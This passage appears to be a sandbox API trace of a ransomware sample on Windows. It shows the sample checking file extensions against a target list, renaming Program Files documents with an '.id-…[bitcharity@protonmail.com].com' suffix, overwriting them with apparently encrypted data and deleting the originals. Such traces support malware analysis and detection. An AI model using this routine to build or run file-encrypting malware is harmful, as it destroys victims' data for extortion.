returned 69 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.406] lstrlenW (lpString=".doc") returned 4 [0145.406] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString=".docx") returned 5 [0145.406] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0145.406] lstrlenW (lpString=".pdf") returned 4 [0145.406] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString=".xls") returned 4 [0145.406] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.406] lstrlenW (lpString=".xlsx") returned 5 [0145.407] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0145.407] lstrlenW (lpString=".ppt") returned 4 [0145.407] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.407] lstrlenW (lpString=".zip") returned 4 [0145.407] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.407] lstrlenW (lpString=".rar") returned 4 [0145.407] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.407] lstrlenW (lpString=".bz2") returned 4 [0145.407] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.407] lstrlenW (lpString=".7z") returned 3 [0145.407] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.407] lstrlenW (lpString=".dbf") returned 4 [0145.407] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.407] lstrlenW (lpString=".1cd") returned 4 [0145.407] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.407] lstrlenW (lpString=".jpg") returned 4 [0145.407] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.407] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.407] lstrlenW (lpString="AppXManifest.xml") returned 16 [0145.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.408] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=5944055) returned 1 [0145.408] CloseHandle (hObject=0x10b4) returned 1 [0145.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0145.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0145.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.409] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc64 | out: lpNewFilePointer=0x0) returned 1 [0145.409] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.409] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f8fc30, lpOverlapped=0x0 | out: lpBuffer=0x39d1058*, lpNumberOfBytesRead=0x2f8fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.411] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.411] ReadFile (in: hFile=0x10b4, lpBuffer=0x3a11058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f8fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a11058*, lpNumberOfBytesRead=0x2f8fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.417] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f8fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.417] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc24 | out: lpNewFilePointer=0x0) returned 1 [0145.417] ReadFile (in: hFile=0x10b4, lpBuffer=0x3a51058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f8fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a51058*, lpNumberOfBytesRead=0x2f8fc30*=0x40000, lpOverlapped=0x0) returned 1 [0145.860] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.860] WriteFile (in: hFile=0x10b4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2f8fca8, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0145.875] SetEndOfFile (hFile=0x10b4) returned 1 [0145.876] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e790e8 [0145.881] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.881] WriteFile (in: hFile=0x10b4, lpBuffer=0x3e790e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f8fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e790e8*, lpNumberOfBytesWritten=0x2f8fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.882] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.882] WriteFile (in: hFile=0x10b4, lpBuffer=0x3e790e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f8fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e790e8*, lpNumberOfBytesWritten=0x2f8fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.888] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fc74 | out: lpNewFilePointer=0x0) returned 1 [0145.888] WriteFile (in: hFile=0x10b4, lpBuffer=0x3e790e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f8fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e790e8*, lpNumberOfBytesWritten=0x2f8fc80*=0x40000, lpOverlapped=0x0) returned 1 [0145.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e790e8 | out: hHeap=0x5a0000) returned 1 [0145.892] CloseHandle (hObject=0x10b4) returned 1 [0148.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.016] lstrlenW (lpString=".doc") returned 4 [0148.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.016] lstrlenW (lpString=".docx") returned 5 [0148.016] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.016] lstrlenW (lpString=".pdf") returned 4 [0148.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.016] lstrlenW (lpString=".xls") returned 4 [0148.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.016] lstrlenW (lpString=".xlsx") returned 5 [0148.016] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.016] lstrlenW (lpString=".ppt") returned 4 [0148.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.016] lstrlenW (lpString=".zip") returned 4 [0148.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.016] lstrlenW (lpString=".rar") returned 4 [0148.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".bz2") returned 4 [0148.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".7z") returned 3 [0148.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString=".dbf") returned 4 [0148.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString=".1cd") returned 4 [0148.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString=".jpg") returned 4 [0148.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString=".doc") returned 4 [0148.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".docx") returned 5 [0148.017] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.017] lstrlenW (lpString=".pdf") returned 4 [0148.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".xls") returned 4 [0148.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".xlsx") returned 5 [0148.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.017] lstrlenW (lpString=".ppt") returned 4 [0148.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.017] lstrlenW (lpString=".zip") returned 4 [0148.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.017] lstrlenW (lpString=".rar") returned 4 [0148.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".bz2") returned 4 [0148.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.017] lstrlenW (lpString=".7z") returned 3 [0148.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.018] lstrlenW (lpString=".dbf") returned 4 [0148.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.018] lstrlenW (lpString=".1cd") returned 4 [0148.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0148.018] lstrlenW (lpString=".jpg") returned 4 [0148.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.018] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.018] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0148.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.018] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=1261) returned 1 [0148.018] CloseHandle (hObject=0x10b4) returned 1 [0148.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0148.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.019] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.019] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0148.019] GetLastError () returned 0x0 [0148.019] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.171] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.172] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.172] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.172] SetEndOfFile (hFile=0x10e4) returned 1 [0148.172] CloseHandle (hObject=0x10e4) returned 1 [0148.178] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.178] SetEndOfFile (hFile=0x10b4) returned 1 [0148.180] CloseHandle (hObject=0x10b4) returned 1 [0148.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0148.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.181] lstrlenW (lpString=".doc") returned 4 [0148.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.181] lstrlenW (lpString=".docx") returned 5 [0148.181] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.181] lstrlenW (lpString=".pdf") returned 4 [0148.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.181] lstrlenW (lpString=".xls") returned 4 [0148.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.181] lstrlenW (lpString=".xlsx") returned 5 [0148.181] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.181] lstrlenW (lpString=".ppt") returned 4 [0148.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString=".zip") returned 4 [0148.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.182] lstrlenW (lpString=".rar") returned 4 [0148.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString=".bz2") returned 4 [0148.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString=".7z") returned 3 [0148.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString=".dbf") returned 4 [0148.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString=".1cd") returned 4 [0148.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString=".jpg") returned 4 [0148.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.182] lstrlenW (lpString=".doc") returned 4 [0148.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString=".docx") returned 5 [0148.182] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.182] lstrlenW (lpString=".pdf") returned 4 [0148.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.182] lstrlenW (lpString=".xls") returned 4 [0148.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString=".xlsx") returned 5 [0148.183] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.183] lstrlenW (lpString=".ppt") returned 4 [0148.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.183] lstrlenW (lpString=".zip") returned 4 [0148.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.183] lstrlenW (lpString=".rar") returned 4 [0148.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString=".bz2") returned 4 [0148.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString=".7z") returned 3 [0148.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.183] lstrlenW (lpString=".dbf") returned 4 [0148.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.183] lstrlenW (lpString=".1cd") returned 4 [0148.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0148.183] lstrlenW (lpString=".jpg") returned 4 [0148.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.183] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.183] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0148.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.184] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=1261) returned 1 [0148.184] CloseHandle (hObject=0x10b4) returned 1 [0148.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0148.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.185] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.185] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0148.185] GetLastError () returned 0x0 [0148.185] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.285] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.286] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.286] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.287] SetEndOfFile (hFile=0x10e4) returned 1 [0148.287] CloseHandle (hObject=0x10e4) returned 1 [0148.290] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.290] SetEndOfFile (hFile=0x10b4) returned 1 [0148.290] CloseHandle (hObject=0x10b4) returned 1 [0148.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0148.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.291] lstrlenW (lpString=".doc") returned 4 [0148.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.291] lstrlenW (lpString=".docx") returned 5 [0148.291] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.291] lstrlenW (lpString=".pdf") returned 4 